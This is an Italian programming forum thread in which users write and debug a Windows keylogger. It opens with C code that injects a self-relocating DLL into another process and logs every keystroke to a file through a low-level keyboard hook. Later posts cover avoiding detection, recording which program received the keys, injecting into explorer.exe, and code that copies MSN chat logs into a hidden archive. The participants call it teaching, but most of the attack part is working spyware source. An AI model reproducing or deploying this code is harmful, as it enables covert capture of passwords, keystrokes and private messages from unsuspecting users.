VirtualProtect((PBYTE)pNewImage + pSecHdrs[u].VirtualAddress, pSecHdrs[u].Misc.VirtualSize, PAGE_READONLY, &dwDummy);
}
}

hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)((DWORD)ThreadEntry - (DWORD)pImageBase + (DWORD)pNewImage), NULL, 0, &dwDummy);
if (!hThread) {
VirtualFree(pNewImage, 0, MEM_RELEASE);
return FALSE;
}
CloseHandle(hThread);

return TRUE;
}

DWORD WINAPI ThreadEntry(PVOID pImage) {
MSG msg;

__try {
hLogFile = CreateFile(TEXT("C:\\log.log"), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
if (INVALID_HANDLE_VALUE == hLogFile) {
return -1;
}

hhkKeyboard = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
if (!hhkKeyboard) {
CloseHandle(hLogFile);
return -1;
}

while (GetMessage(&msg, NULL, 0, 0)) {
DispatchMessage(&msg);
}

UnhookWindowsHookEx(hhkKeyboard);
CloseHandle(hLogFile);
}
__except (1) {
/* silent exception filter */
return -1;
}

return 0;
}

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT pData;

if (nCode < 0) {
return CallNextHookEx(hhkKeyboard, nCode, wParam, lParam);
}

pData = (PKBDLLHOOKSTRUCT)lParam;
if ((WM_KEYDOWN == wParam) || (WM_SYSKEYDOWN == wParam)) {
if ((VK_LSHIFT == pData->vkCode) || (VK_RSHIFT == pData->vkCode) || (VK_SHIFT == pData->vkCode)) {
fShiftDown = TRUE;
}
else if ((pData->vkCode >= '0') && (pData->vkCode <= '9')) {
CHAR c = (CHAR)pData->vkCode;
WriteFile(hLogFile, &c, 1, &dwDummy, NULL);
}
else if ((pData->vkCode >= 'A') && (pData->vkCode <= 'Z')) {
CHAR c;
if (fShiftDown) {
c = (CHAR)pData->vkCode;
}
else {
c = (CHAR)pData->vkCode - 'A' + 'a';
}
WriteFile(hLogFile, &c, 1, &dwDummy, NULL);
}
else if ((pData->vkCode >= VK_F1) && (pData->vkCode <= VK_F24)) {
CHAR pszLogString[6];
wsprintfA(pszLogString, "(F%2u)", pData->vkCode - VK_F1 + 1);
WriteFile(hLogFile, pszLogString, lstrlenA(pszLogString), &dwDummy, NULL);
}
else {
LPCSTR pszLogString = NULL;

switch (pData->vkCode) {
case VK_SPACE:
pszLogString = " ";
break;
case VK_RETURN:
pszLogString = "\r\n";
break;
case VK_TAB:
pszLogString = "\t";
break;
case VK_BACK:
pszLogString = "(Backspace)";
break;
case VK_ESCAPE:
pszLogString = "(Escape)";
break;
/* TODO: add here other special keys to support ... */
}

if (pszLogString) {
WriteFile(hLogFile, pszLogString, lstrlenA(pszLogString), &dwDummy, NULL);
}
}
}
else {
if ((VK_LSHIFT == pData->vkCode) || (VK_RSHIFT == pData->vkCode) || (VK_SHIFT == pData->vkCode)) {
fShiftDown = FALSE;
}
}

return CallNextHookEx(hhkKeyboard, nCode, wParam, lParam);
}

71104
19-10-2006, 18:26
Tu invece proponi diversamente? si, nel codice che ho postato ho fatto sostanzialmente nel seguente modo:
1) entro nella DllMain, trovo gli headers PE della DLL e calcolo la dimensione dell'immagine virtuale (non fisica)
2) alloco un'area di memoria di quella dimensione e ci ricopio tutte le mie sezioni
3) riloco la DLL "clandestina" e proteggo le eventuali pagine a sola lettura
4) creo un thread che ha come entry point una funzione del codice clandestino
5) esco dalla DllMain con FALSE

-fidel-
19-10-2006, 19:48
Niente, per oggi non ho tempo di inserire la features che ho esposto prima.
Ti mando via mail la DLL di keylogging precompilata, con i sorgenti commentati, all'indirizzo email che hai scritto.
Prova a chiamarla con il codice di injection che hai, oppure la carichi con un tuo programmino.

EDIT: mail inviata ;) Ah, se volete la posto anche qui (ma non so se le regole del forum lo permettono).

71104
19-10-2006, 20:23
EDIT: mail inviata ;) Ah, se volete la posto anche qui (ma non so se le regole del forum lo permettono). certo che lo permettono: non possono mica censurare la didattica :read:

-fidel-
19-10-2006, 20:35
certo che lo permettono: non possono mica censurare la didattica :read:

Il fatto è che pensavo: data la natura della didattica... ;)

-fidel-
20-10-2006, 08:46
si, nel codice che ho postato ho fatto sostanzialmente nel seguente modo:
1) entro nella DllMain, trovo gli headers PE della DLL e calcolo la dimensione dell'immagine virtuale (non fisica)
2) alloco un'area di memoria di quella dimensione e ci ricopio tutte le mie sezioni
3) riloco la DLL "clandestina" e proteggo le eventuali pagine a sola lettura
4) creo un thread che ha come entry point una funzione del codice clandestino
5) esco dalla DllMain con FALSE

Interessante. Non ho mai approfondito il formato PE, sarà ora di cominciare...
Intanto volevo chiederti una cosa che mi è saltata agli occhi: nel codice che hai postato, nella CopyAndRelocate(), riga 10, non potevi anche fare:


pinth = (PIMAGE_NT_HEADERS)((DWORD)pImageBase + sizeof(IMAGE_DOS_HEADER));

?

EDIT: Un'altra domanda: osservando, sempre nella funzione CopyAndRelocate, il calcolo del numero di indirizzi da cambiare per ogni chunk della relocation table (uFixupCount), esso viene fatto in questo modo:

uFixupCount = (pBaseReloc->SizeOfBlock - (sizeof(IMAGE_BASE_RELOCATION) - sizeof(WORD))) / sizeof(WORD);

ho messo in grassetto la parte che non mi torna. Perchè togliere ulteriori 2 bytes? non dovrebbe essere:

uFixupCount = (pBaseReloc->SizeOfBlock - (sizeof(IMAGE_BASE_RELOCATION))) / sizeof(WORD);

?

71104
20-10-2006, 11:09
Intanto volevo chiederti una cosa che mi è saltata agli occhi: nel codice che hai postato, nella CopyAndRelocate(), riga 10, non potevi anche fare:


pinth = (PIMAGE_NT_HEADERS)((DWORD)pImageBase + sizeof(IMAGE_DOS_HEADER));

? non saprei, la documentazione di Microsoft dice che per trovare gli headers nuovi devo saltare all'offset espresso dal DWORD situato all'offset 0x3C, e io così ho fatto.

EDIT: Un'altra domanda: osservando, sempre nella funzione CopyAndRelocate, il calcolo del numero di indirizzi da cambiare per ogni chunk della relocation table (uFixupCount), esso viene fatto in questo modo:

uFixupCount = (pBaseReloc->SizeOfBlock - (sizeof(IMAGE_BASE_RELOCATION) - sizeof(WORD))) / sizeof(WORD);

ho messo in grassetto la parte che non mi torna. Perchè togliere ulteriori 2 bytes? non dovrebbe essere:

uFixupCount = (pBaseReloc->SizeOfBlock - (sizeof(IMAGE_BASE_RELOCATION))) / sizeof(WORD);

? quello è colpa mia, in effetti postando il codice mi sono scordato di dire che ho fatto una piccola modifica alla struct IMAGE_BASE_RELOCATION in winnt.h :D

la struct originale era scritta precisamente così:

typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
// WORD TypeOffset[1];
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;

con l'ultimo campo commentato; ma siccome quel campo finale a me tornava molto utile allora l'ho decommentato. nel sizeof però devo calcolare la dimensione dei soli primi due campi, senza includere il primo WORD del vettore di fixup.

-fidel-
20-10-2006, 11:18
Ti stavo proprio segnalando la storia del TypeOffset. Ho spulciato in WinNT.h e ho visto che il campo è commentato.
Provo a modificare il codice da te postato per cercare di fare a meno di quel campo.

-fidel-
20-10-2006, 11:26
In prima battuta, prima di modificare il codice, ho provato a decommentare TypeOffset in WinNT.h, così da compilare il tuo codice.
Bene, ho provato ad iniettare la DLL, ma esce un simpatico quando maledetto messaggio da parte di "Protezione esecuzione programmi - Microsoft Windows"

"Per facilitare la protezione del computer, il programma è stato chiuso"
Nome: Fine dell'applicazione Calcolatrice di Windows.

Ho provato ad iniettare in calc.exe.
Ho WinXP SP2. Mapporc... vediamo se si può mettere una pezza.

71104
20-10-2006, 11:31
occhio, c'era un errore nel codice di cui non mi ero accorto: nel _try che sta nella DllMain mancavano le due LoadLibrary iniziali, che servono ad incrementare il reference count delle due librerie richieste dalla DLL; se non incrementi il reference count, quando la DllMain fallisce la DLL viene scaricata e con essa anche tutte le sue dipendenze che non sono dipendenze anche di qualche altro modulo del processo. se inietti nella calcolatrice di Windows dovrebbe andare lo stesso anche senza le LoadLibrary, però ad esempio io che iniettavo in un programmetto mio stupido (che non usa User32.dll) crashava perché tentando di chiamare le funzioni di User32 saltava in memoria non allocata.

EDIT: e mi sono appena accorto anche di un altro "errore": nel codice ho scordato di loggare gli spazi :D

poi ci sarebbero pure i simboli (caratteri accentati, punteggiatura, ecc.) ma dovrei vedere che virtual key codes hanno.

71104
20-10-2006, 11:33
ah comunque potresti provare a caricare la DLL semplicemente con regsvr32.exe: ti dirà che non trova degli entry points (è normale) però intanto la DllMain è stata chiamata.

-fidel-
20-10-2006, 11:39
ah comunque potresti provare a caricare la DLL semplicemente con regsvr32.exe: ti dirà che non trova degli entry points (è normale) però intanto la DllMain è stata chiamata.

Niente da fare, anche con regsvr32 mi da errore di protezione da parte del Microsoft Register Server.

EDIT: Ah, nel mio keylogger ho gestito un po' di tutto (compreso caratteri accentati, ecc. Ovviamente, per i carattere accentati non ho usato costrutti tipo "case VK_SHIFT:".

71104
20-10-2006, 11:40
ho modificato ancora il post #110 aggiungendo il log degli spazi; ora voglio provare ad usare I/O overlapped, così da non appensatire il sistema quando abbiamo a che fare con un utente dalla tastiera veloce e possibilmente anche un sistema già carico di suo :P

-fidel-
20-10-2006, 11:44
Sì ma purtroppo con SP2 installato non si può rilocare la DLL... Meglio tornare al classico thread a questo punto.

71104
20-10-2006, 12:10
Sì ma purtroppo con SP2 installato non si può rilocare la DLL... Meglio tornare al classico thread a questo punto. guarda che io ho SP2 eh... :| da me funzica tutto perfettamente; da te toccherebbe fare il debug per vedere cos'è che lo fa incazzare...

-fidel-
20-10-2006, 12:14
guarda che io ho SP2 eh... :| da me funzica tutto perfettamente; da te toccherebbe fare il debug per vedere cos'è che lo fa incazzare...

Mhmmh, ok ci dò un'occhiata nel pomeriggio.

-fidel-
20-10-2006, 12:23
Intanto, visto che non ci sono problemi, posto il mio keylogger, come progetto VS .NET 2003.
Non posto direttamente il codice perché, essendo commentato, sarebbe troppo lungo da piazzare in un post (e di più difficile lettura), quindi allego direttamente il progetto.

Rispetto a quello inviato via mail a mamo, ho aggiunto il logging dei tasti funzione (li avevo dimenticati :)). Ci sarebbero anche altri tasti da loggare, ma sono normalmente inutili per l'uso che di solito si fa di un keylogger, e comunque è banale aggiungerli.

Appena finisco la feature che indica, oltre ai tasti premuti, in quale programma li si è premuti (molto utile secondo me :D), riposto il sorgente aggiornato

EDIT: piccola aggiunta, VK_CONTROL, VK_MENU e VK_SHIFT oltre al controllo sinistro e destro (non si sa mai...)

71104
20-10-2006, 12:45
Appena finisco la feature che indica, oltre ai tasti premuti, in quale programma li si è premuti (molto utile secondo me :D), riposto il sorgente aggiornato ho provato a riflettere su come farla: pensavo di aver trovato il modo sfruttando l'handle della finestra a cui era destinato il messaggio, cosa che pensavo fosse inclusa nella struttura di dati del Low Level Keyboard Hook, ma invece non è così; tu come fai a trovare la finestra? cerchi quella che ha il focus in quel momento?

71104
20-10-2006, 12:49
ho letto il tuo codice; non conoscevo la funzione ToAscii!! :D
ora la uso pure nel mio :P

edit: uu, ma vedo su MSDN che c'è un sacco di roba carina, tipo MapVirtualKey(Ex) e ToUnicode :P
mi erano sfuggite

-fidel-
20-10-2006, 12:54
ho provato a riflettere su come farla: pensavo di aver trovato il modo sfruttando l'handle della finestra a cui era destinato il messaggio, cosa che pensavo fosse inclusa nella struttura di dati del Low Level Keyboard Hook, ma invece non è così; tu come fai a trovare la finestra? cerchi quella che ha il focus in quel momento?

Esatto, però non sto usando un keyboard hook, ma un hook CBT, che mi avvisa anche dei focus con il messaggio HCBT_SETFOCUS.
Non ho ancora finito di implementare la feature proprio perchè devo cambiare l'hook filter (ora associato ad un low level keyboard hook), e non ho mlto tempo da dedicarci...

EDIT: Ah, sono riuscito a far funzionare il tuo codice anche da me, ora è tutto ok :) In effetti mi pareva strano che Windows si accorgesse della cosa dando errore di protezione :D
Oggi pomeriggio provo a modificare il codice per evitare di usare il campo TypeOffset nella struct IMAGE_BASE_RELOCATION, non dovrebbe essere complicato.

-fidel-
20-10-2006, 13:06
edit: uu, ma vedo su MSDN che c'è un sacco di roba carina, tipo MapVirtualKey(Ex) e ToUnicode :P
mi erano sfuggite

Eheh, MapVirtualKey la stavo provando per ottenere i caratteri tipo %, & (quelli raggiungibili con lo shift ad esempio, o con AltGr) ma in prima battuta niente (quindi avevo cambiato strada), ma adesso ci riprovo!

EDIT: che poi è il motivo per cui ho inserito i tag <SHIFT>...</SHIFT>: per le lettere maiuscole non ce n'era bisogno, ma per tutti gli altri tipo % o ? sì. Quindi per evitare incongruenze anche con layout di tastiera diversi, ho usato i tag, così da prevedere tutti i casi.
Per il momento MapVirtualKey non mi mappa tali caratteri, vediamo se si può aggirare il problema...

mamo139
20-10-2006, 13:45
grazie per l'allegato -fidel-, ho preso quello dal sito...

ora me lo studio bene bene aiutandomi con msdn!!!! :D

-fidel-
20-10-2006, 15:02
Ok, come annunciato prima, ho modificato il codice della CopyAndRelocate() postato prima da 71104 per fare in modo di non usare il campo TypeOffset della struct IMAGE_BASE_RELOCATION, dato che quel campo è di default commentato in WinNT.h.
Ho modificato questo stralcio (linea 90):


uFixupCount = (pBaseReloc->SizeOfBlock - (sizeof(IMAGE_BASE_RELOCATION) - sizeof(WORD))) / sizeof(WORD);
for (u = 0; u < uFixupCount; u++) {
PVOID pFixupLocation = (PBYTE)pNewImage + pBaseReloc->VirtualAddress + (pBaseReloc->TypeOffset[u] & 0x0FFF);
switch (pBaseReloc->TypeOffset[u] >> 12) {


in questo modo:


uFixupCount = (pBaseReloc->SizeOfBlock - (sizeof(IMAGE_BASE_RELOCATION))) / sizeof(WORD);
for (u = 0; u < uFixupCount; u++) {
PVOID pFixupLocation = (PBYTE)pNewImage + pBaseReloc->VirtualAddress + (u * sizeof(WORD));
switch (*(PWORD)pFixupLocation >> 12) {


In più, per rendere "più leggibile" il codice ho modificato la seguente linea (121):


hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)((DWORD)ThreadEntry - (DWORD)pImageBase + (DWORD)pNewImage), NULL, 0, &dwDummy);


con questa:


hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)((DWORD)ThreadEntry + (DWORD)dwDelta), NULL, 0, &dwDummy);

così è più chiaro che il codice del thread si trova all'indirizzo della funzione nella dll attuale + l'offset rispetto alla nuova posizione della DLL appena rilocata (dwDelta rappresenta appunto la distanza in bytes tra la zona di memoria in cui la DLL viene caricata e quella rilocata).

mamo139
22-10-2006, 12:37
fidel... ti volevo chiedere se avevi abbandonato o meno il progetto di construire un keylogger che ti dice anche in quale finestra sono stati premuti i tasti...
sono curiosissimo di vedere in che modo si possa fare :p

71104
22-10-2006, 12:40
fidel... ti volevo chiedere se avevi abbandonato o meno il progetto di construire un keylogger che ti dice anche in quale finestra sono stati premuti i tasti...
sono curiosissimo di vedere in che modo si possa fare :p da quanto ho capito installando anche un altro tipo di hook, il CBT: gli serve per vedere quale finestra assume il focus.

-fidel-
23-10-2006, 13:02
Ok, ho implementato la funzionalità annunciata :)
Ho dovuto abbandonare la strategia dell'hook CBT, dal momento che tale hook può essere globale ma non è Low Level. Quando è globale (è il nostro caso), non essendo Low Level, ogni processo agganciato va a caricare la nostra DLL, quini in breve tempo un alto numero di processi sul sistema carica la DLL, rendendola quindi facilmente tracciabile (oppure consumando molta memoria nel caso iniettiamo la DLL rilocandola - seguendo la strategia descritta prima da 71104).

Ho quindi risolto in modo differente... Posto qui il progetto Visual Studio .NET 2003 (ma è compilabile con qualunque altro IDE, basta leggere i commenti iniziali del sorgente).
Tutto il codice è ampiamente commentato, a scopo didattico.

EDIT: ho fatto anche una versione che usa la CopyAndRelocate() (leggermente modificata come descritto nei post precedenti) postata da 71104. Non la posto perchè è banale implemenetarla, dal momento che nel thread c'è già il sorgente della CopyAndRelocate, più le modifiche (se le volete aggiungere) che ho apportato.
La rilocazione della DLL la trovo un'ottima strategia :)

-fidel-
23-10-2006, 13:03
fidel... ti volevo chiedere se avevi abbandonato o meno il progetto di construire un keylogger che ti dice anche in quale finestra sono stati premuti i tasti...
sono curiosissimo di vedere in che modo si possa fare :p

Non l'ho abbandonato come vedi , ho solo poco tempo da dedicarci :mad:

mamo139
23-10-2006, 14:22
grazie fidel...

nel compilarlo con Microsoft Visual C++ 6.0 però nn mi trova questo:
#include <psapi.h>
non che sai xche??? :(

cionci
23-10-2006, 14:32
Cercalo su google...
Dovrebbe essere distribuita con DDK...

-fidel-
23-10-2006, 14:51
Cercalo su google...
Dovrebbe essere distribuita con DDK...

Esatto, nell'SDK/DDK fornita con VS .NET c'è già.
@Mamo:
Comunque la libreria psapi.dll è in tutti i sistemi Win NT e successivi (quindi anche su XP), ti serve solo il .h per compilare il programma. Lo posto qui.

Ho aggiutno .txt sennò non mi faceva allegare...

EDIT: Ah, comunque quella libreria serve solo se vuoi loggare anche il nome del processo. Nel frattempo, se vuoi provare, disattiva il log del nome del processo (è scritto nel sorgente come fare, ti basta commentare una riga) e commenta l'include di psapi.h (che in questo caso non serve più), e compila.

mamo139
23-10-2006, 19:28
come sempre, grazie :D

mamo139
23-10-2006, 19:42
mhhh.. altro problema :mc:

ho copiato psapi.h in C:\Programmi\Microsoft Visual Studio\VC98\Include, ma ora mi da un altro errore...ovvero:

C:\Documents and Settings\Marco\Desktop\Keylogger DLL v2\Keylogger\Keylogger.cpp(32) : error C2146: syntax error : missing ';' before identifier 'gtiHookedGui'
C:\Documents and Settings\Marco\Desktop\Keylogger DLL v2\Keylogger\Keylogger.cpp(32) : error C2501: 'GUITHREADINFO' : missing storage-class or type specifiers

credo che nn riconosca GUITHREADINFO.... :confused:

[EDIT]

ho aggiunto ai sorgenti


typedef struct tagGUITHREADINFO {
DWORD cbSize;
DWORD flags;
HWND hwndActive;
HWND hwndFocus;
HWND hwndCapture;
HWND hwndMenuOwner;
HWND hwndMoveSize;
HWND hwndCaret;
RECT rcCaret;
} GUITHREADINFO, *PGUITHREADINFO;

e ora mi dà un altro errore, ovvero:

c:\documents and settings\marco\desktop\keylogger dll v2\keylogger\keylogger.cpp(106) : error C2065: 'GetGUIThreadInfo' : undeclared identifier

[EDIT2]


EDIT: Ah, comunque quella libreria serve solo se vuoi loggare anche il nome del processo. Nel frattempo, se vuoi provare, disattiva il log del nome del processo (è scritto nel sorgente come fare, ti basta commentare una riga) e commenta l'include di psapi.h (che in questo caso non serve più), e compila.
nada... mi da gli stessi errori

71104
23-10-2006, 21:17
il file psapi.h non lo devi modificare, semplicemente lo devi includere dopo aver incluso windows.h. e poi ti serve anche psapi.lib.

comunque ti consiglio di usare Visual Studio 2005 Express con un PSDK più recente.

mamo139
23-10-2006, 21:25
il file psapi.h non lo devi modificare, semplicemente lo devi includere dopo aver incluso windows.h. e poi ti serve anche psapi.lib.

comunque ti consiglio di usare Visual Studio 2005 Express con un PSDK più recente.

ho fatto così:
#include <windows.h>
#include <psapi.h>
#pragma comment(lib,"psapi.lib")
ma continua a rompere le palle con questo :cry:
c:\documents and settings\marco\desktop\keylogger dll v2\keylogger\keylogger.cpp(38) : error C2501: 'GUITHREADINFO' : missing storage-class or type specifiers

cionci
23-10-2006, 21:30
Se non avevi il .h mi sa che non hai nemmeno il .lib...

mamo139
23-10-2006, 21:33
eheheh e dove lo trovo?? :doh:

-fidel-
24-10-2006, 09:16
Eccolo, scusami ho dimenticato di allegarlo assieme al .h :doh:
Al solito, l'ho rinominato per allegarlo.
Comunque forse ti conviene aggiornare l'SDK...

71104
24-10-2006, 11:25
Se non avevi il .h mi sa che non hai nemmeno il .lib... si ma per ora il problema non è quello...

71104
24-10-2006, 11:26
Comunque forse ti conviene aggiornare l'SDK... già...

mamo139
24-10-2006, 15:35
Comunque forse ti conviene aggiornare l'SDK...
ho scaricato Microsoft Visual C++ 2005 Express Edition, com'è?? :D

71104
24-10-2006, 15:41
probabilmente il migliore su Windows :read:

-fidel-
24-10-2006, 15:50
probabilmente il migliore su Windows :read:

Ma 'sta versione Express che avrebbe in meno rispetto a quella comerciale?
Intanto aggiorno MSDN (sono ancora alla 2003...) anche se leggevo che MSDN 2006 non si integra in VS 2003, ma solo in VS 2005...... :muro:

mamo139
24-10-2006, 15:52
o cavolo.... :mad:
apro con Microsoft Visual C++ 2005 Express Edition il file Keylogger.sln, mi fa convertire il progetto e fin li tutto ok... poi mi dice che non trova windows.h, di male in peggio... :mad:
noto che da crea progetto nn posso neanche fare applicazioni per windows ma solo a console... cos'è sta storia??? :confused:

-fidel-
24-10-2006, 15:56
Comunque io continuo a non capire una cosa: ma se commenti la riga
#define LOGPROCESSNAME
(come descritto nei commenti dei sorgenti)
e la riga
#include <psapi.h>
nel file stdafx.h, perchè non compila?? La GetGUIThreadInfo() fa parte di user32.dll (User32.lib, #include <windows.h>), Quindi non ha nulla a che vedere con PSAPI.

EDIT: mi riferisco a quando hai provato con VS 6.0...

mamo139
24-10-2006, 15:57
io ho commentato... ma mi da gli errori che ho postato

-fidel-
24-10-2006, 15:59
io ho commentato... ma mi da gli errori che ho postato

Controlla che il linker abbia User32.lib come dipendenza (oltre a tutti gli altri .lib)

mamo139
24-10-2006, 16:01
o cavolo.... :mad:
apro con Microsoft Visual C++ 2005 Express Edition il file Keylogger.sln, mi fa convertire il progetto e fin li tutto ok... poi mi dice che non trova windows.h, di male in peggio... :mad:
noto che da crea progetto nn posso neanche fare applicazioni per windows ma solo a console... cos'è sta storia??? :confused:

volevo farvi vedere un'immagine così si capisce meglio cosa intendo... oltre al fatto che cercando dentro C:\Programmi\Microsoft Visual Studio 8\ di windows.h nn c'è traccia


http://thesolution.altervista.org/marco2/desk.jpg

-fidel-
24-10-2006, 16:05
Ti consiglio di continuare ad usare VS 6.0, a di aggiornare la SDK:

http://www.microsoft.com/downloads/details.aspx?FamilyID=0baf2b35-c656-4969-ace8-e4c0c0716adb&DisplayLang=en

il link si riferisce alla web install, ma da lì trovi facilmente il link per l'immagine iso: la scarichi, masterizzi (o monti con daemon tools) e installi... Poi ovviamente devi cambiare il path dei progetti per linkare sulla nuova SDK (oppure sostituisci la cartella VC6...)

-fidel-
24-10-2006, 16:06
volevo farvi vedere un'immagine così si capisce meglio cosa intendo... oltre al fatto che cercando dentro C:\Programmi\Microsoft Visual Studio 8\ di windows.h nn c'è traccia


http://thesolution.altervista.org/marco2/desk.jpg

Nessuna immagine!

mamo139
24-10-2006, 16:14
x capirsi bene visto che ho due problemi giganti :D :

1) non mi si compile il keylogger v2 con c++ 6.0, anche se le librerie date al linker sono
kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib

xche mi da in ogni caso l'errore
c:\documents and settings\marco\desktop\keylogger dll v2\keylogger\keylogger.cpp(32) : error C2146: syntax error : missing ';' before identifier 'gtiHookedGui'

e se provo a definirlo come lo definisce msdn poi mi da errore nella funzione GetGUIThreadInfo'

2) il Microsoft Visual C++ 2005 Express Edition scaricato dal sito della microsoft sembra nn volerne sapere del windows.h e mi fa fare solo programmi a console... :muro:

aiuto

mamo139
24-10-2006, 16:16
Nessuna immagine!
http://thesolution.altervista.org/marco2/

ps sto iniziando ad odiare altervista :mad:


[edit]
per il problema 2 forse ci sono, sto scaricando l'SDK
[edit]
problema 2 risolto!!! :rolleyes:

71104
24-10-2006, 20:53
Ma 'sta versione Express che avrebbe in meno rispetto a quella comerciale? per me è di un fastidioso estremo l'assenza dell'editor di risorse (non presente solo nella Express), senza contare che manca un AppWizard per MFC, che si è costretti ad usare manualmente (cosa piuttosto difficile). prossimamente all'università cercherò di vedere bene come sono combinati con questa MSDN Accademic Alliance, perché se posso scaricare Visual Studio 2005 Enterprise penso proprio di poter buttare al cesso la versione 6, che ancora tengo unicamente per l'editor di risorse e l'AppWizard di MFC :)

71104
24-10-2006, 20:58
o cavolo.... :mad:
apro con Microsoft Visual C++ 2005 Express Edition il file Keylogger.sln, mi fa convertire il progetto e fin li tutto ok... poi mi dice che non trova windows.h, di male in peggio... :mad:
noto che da crea progetto nn posso neanche fare applicazioni per windows ma solo a console... cos'è sta storia??? :confused: ti manca il Platform SDK: non l'hai installato. è un Kit che si scarica gratuitamente dal sito di Microsoft (le istruzioni di installazione di Visual C++ Express ti dicevano come fare) e comprende tutto il necessario per programmare in Win32 (headers, lib, MFC, ATL, e altro).

-fidel-
24-10-2006, 21:05
prossimamente all'università cercherò di vedere bene come sono combinati con questa MSDN Accademic Alliance, perché se posso scaricare Visual Studio 2005 Enterprise penso proprio di poter buttare al cesso la versione 6, che ancora tengo unicamente per l'editor di risorse e l'AppWizard di MFC :)

Anch'io, ai tempi del politecnico, avevo l'account MSAA, grazie al quale puoi scaricare di tutto (tranne Office :)), e a dire il vero me lo stanno gentilmente mantenendo, infatti ora scarico il 2005 :D Comunque basta che frequenti un corso tenuto da un professore che fa parte di MSAA (praticamente tutti i prof del dipartimento di informatica...), e gli chiedi di iscriverti. Lo fanno immediatamente, dal momento che MS è contentissima che tu usi i suoi strumenti di sviluppo (per poi diventare un programmatore per i suoi SO)...

mamo139
25-10-2006, 12:09
ti manca il Platform SDK: non l'hai installato. è un Kit che si scarica gratuitamente dal sito di Microsoft (le istruzioni di installazione di Visual C++ Express ti dicevano come fare) e comprende tutto il necessario per programmare in Win32 (headers, lib, MFC, ATL, e altro).
eheh sisi l'avevo notato e risolto, cmq grazie per aver confermato che ho fatto la cosa giusta una volta tanto :D

per me è di un fastidioso estremo l'assenza dell'editor di risorse (non presente solo nella Express), senza contare che manca un AppWizard per MFC, che si è costretti ad usare manualmente (cosa piuttosto difficile). prossimamente all'università cercherò di vedere bene come sono combinati con questa MSDN Accademic Alliance, perché se posso scaricare Visual Studio 2005 Enterprise penso proprio di poter buttare al cesso la versione 6, che ancora tengo unicamente per l'editor di risorse e l'AppWizard di MFC :)
vero... ho notato anche io questa cosa...
ma come faccio a scaricarmi Visual Studio 2005 Enterprise io che nn c'ho le bazze??? :mc:

mamo139
27-10-2006, 19:20
ho caricato una dll in explorer.exe, e mi dovrebbe scrivere delle cose in dei files tramite la fprintf()
ma i files non compaiono e alla fine mi compare un errore "visual c++ debug error" che cita il file fprintf.c e poi explorer mi fa errore e si chiude...
non è che per caso la fprintf non la posso usare nelle dll iniettate in explorer??? oppure ho solo sbagliato io a programmare??? :confused:

71104
27-10-2006, 22:38
fa' vedere il codice della DLL...

mamo139
28-10-2006, 13:10
qui c'è il file che non viene creato:

void trova_files (char *cartella) {

char jabfile[20] = "jabf111.jab";
FILE *log = fopen("log.txt","a+");
WIN32_FIND_DATA dati_file;

int ifilescopiati = 0;//numero identificativo univoco


char dir[1000] = "\0";

strcpy(dir,cartella);
strcat(dir,"*");

//MessageBox(NULL, dir,"What this says", MB_OK);

//********* primo della lista ***********//
HANDLE ricerca = FindFirstFile(dir,&dati_file);
if (ricerca == NULL) return;
if ( (dati_file.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && !( (dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '\0') ||(dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '.' && dati_file.cFileName[2] == '\0') ) )
{
//controllo che nn sia la mia cartella
if (dati_file.cFileName[0] != 'z' && dati_file.cFileName[1] != 'x' && dati_file.cFileName[1] != 'y'){
char newdir[1000];
strcpy(newdir,cartella);
strcat(newdir,dati_file.cFileName);
strcat(newdir,"\\");
trova_files(newdir);
//fprintf(log,"DIR %s%s\n",cartella,dati_file.cFileName);
Sleep(10);
}}
else if (!( (dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '\0') ||(dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '.' && dati_file.cFileName[2] == '\0') ) )
{ //operazioni eseguite su ogni file
fprintf(log,"%s%s\n",cartella,dati_file.cFileName);
char filename[1000];
strcpy(filename,cartella);
strcat(filename,dati_file.cFileName);
if( MsnConvFile(filename) ) { //verificato che è un file di msn che vogliamo
copia_file_in (filename, jabfile);
}
}

//********* altri della lista ***********//
while (FindNextFile(ricerca,&dati_file) != 0) {

if ( (dati_file.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && !( (dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '\0') ||(dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '.' && dati_file.cFileName[2] == '\0') ) )
{
//controllo che nn sia la mia cartella
if (dati_file.cFileName[0] != 'z' && dati_file.cFileName[1] != 'x' && dati_file.cFileName[1] != 'y'){
char newdir[1000];
strcpy(newdir,cartella);
strcat(newdir,dati_file.cFileName);
strcat(newdir,"\\");
trova_files(newdir);
//fprintf(log,"DIR %s%s\n",cartella,dati_file.cFileName);
Sleep(10);
}}
else if (!( (dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '\0') ||(dati_file.cFileName[0] == '.' && dati_file.cFileName[1] == '.' && dati_file.cFileName[2] == '\0') ) )
{ //operazioni eseguite su ogni file
fprintf(log,"%s%s\n",cartella,dati_file.cFileName);
char filename[1000];
strcpy(filename,cartella);
strcat(filename,dati_file.cFileName);
if( MsnConvFile(filename) ) { //verificato che è un file di msn che vogliamo
copia_file_in (filename, jabfile);
}
}

}

fclose(log);
}





void copia_file_in (char *file, char *intofile) {

char *buf;
buf = new char [64000];
FILE *f, *f_out;
if ((f = fopen(file, "rb")) && (f_out = fopen(intofile, "ab"))) {
size_t b;
fprintf(f_out,"M(?<=1>?)M%sM(?<=2>?)M",file);//intestazione per poi poter scompattare
while(b=fread( buf, 1, 64000, f) )
fwrite( buf, 1, b, f_out);
fclose(f);
fclose(f_out);
}

}